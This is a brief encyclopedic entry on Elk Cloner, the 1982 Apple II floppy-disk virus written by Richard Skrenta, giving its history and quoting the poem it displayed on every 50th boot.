Self-Replicating Automata/List/Elk Cloner
Introduction
[edit | edit source]Elk Cloner is the first known computer virus to spread in the wild. It infected Apple II systems and was written by Richard Skrenta in 1982. It spread by infecting Apple II floppy disks. It did not cause any intentional harm to data, and displayed the message on every 50th booting.
Elk Cloner: The program with a personality
It will get on all your disks
It will infiltrate your chips
Yes it's Cloner!
It will stick to you like glue
It will modify ram too
Send in the Cloner!
